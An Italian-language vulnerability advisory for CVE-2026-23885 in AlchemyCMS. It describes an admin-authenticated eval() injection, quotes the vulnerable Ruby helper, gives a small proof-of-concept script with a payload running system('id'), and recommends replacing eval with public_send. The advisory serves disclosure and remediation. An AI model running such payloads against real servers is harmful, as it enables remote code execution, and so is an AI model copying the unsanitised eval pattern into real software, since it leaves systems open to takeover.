
Proof-of-concept exploit per CVE-2026-23885, una RCE autenticata in AlchemyCMS tramite iniezione eval(), con analisi tecnica e indicazioni di remediation.
È stata scoperta una vulnerabilità di sicurezza critica che coinvolge la neutralizzazione impropria delle direttive nel codice valutato dinamicamente (CWE-95) nel framework AlchemyCMS. La vulnerabilità consente a un utente autenticato con privilegi amministrativi di eseguire codice Ruby arbitrario e comandi di sistema sul server host tramite un sink di iniezione eval().
app/helpers/alchemy/resources_helper.rbAlchemy::ResourcesHelper#resource_url_proxyIl metodo helper elabora in modo non sicuro l'attributo engine_name dall'oggetto resource_handler. Questo attributo viene passato direttamente alla funzione Ruby eval() senza previa sanificazione o validazione.
def resource_url_proxy(resource_handler)
if resource_handler.in_engine?
eval(resource_handler.engine_name) # rubocop:disable Security/Eval
else
main_app
end
end
La presenza della direttiva # rubocop:disable Security/Eval conferma che le implicazioni di sicurezza dell'uso di eval() erano note ma sono state bypassate durante l'implementazione.
3. Proof of Concept (PoC)
Vettore di Attacco
La vulnerabilità viene attivata all'interno dell'interfaccia amministrativa di AlchemyCMS durante il rendering delle viste basate su risorse (ad es. Siti o Lingue). Se un attaccante riesce a manipolare la configurazione del modulo o i dati sottostanti della risorsa, può ottenere l'esecuzione.
Script di Sfruttamento Autonomo
Il seguente script dimostra l'esecuzione arbitraria di codice simulando l'ambiente del helper vulnerabile:
Ruby
require 'ostruct'
def resource_url_proxy(resource_handler)
if resource_handler.engine_name && !resource_handler.engine_name.empty?
eval(resource_handler.engine_name)
end
end
# Payload: Esegue il comando di sistema 'id' e crea un file di prova
payload = "system('id > /tmp/rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)
resource_url_proxy(handler)
Prova di Esecuzione
All'esecuzione, il comando di sistema viene elaborato, concedendo all'attaccante l'accesso all'ambiente del server.

Integrità: Alta. Capacità di modificare file e record del database.
Disponibilità: Alta. Potenziale di interruzione completa del sistema.
ID CVE: CVE-2026-23885
7.4.12
8.0.3
La correzione prevede la sostituzione della chiamata eval() con public_send() per instradare in modo sicuro le richieste al proxy del motore previsto:
Ruby
main_app.public_send(resource_handler.engine_name) if resource_handler.engine_name.present?
Riferimento CVE: CVE-2026-23885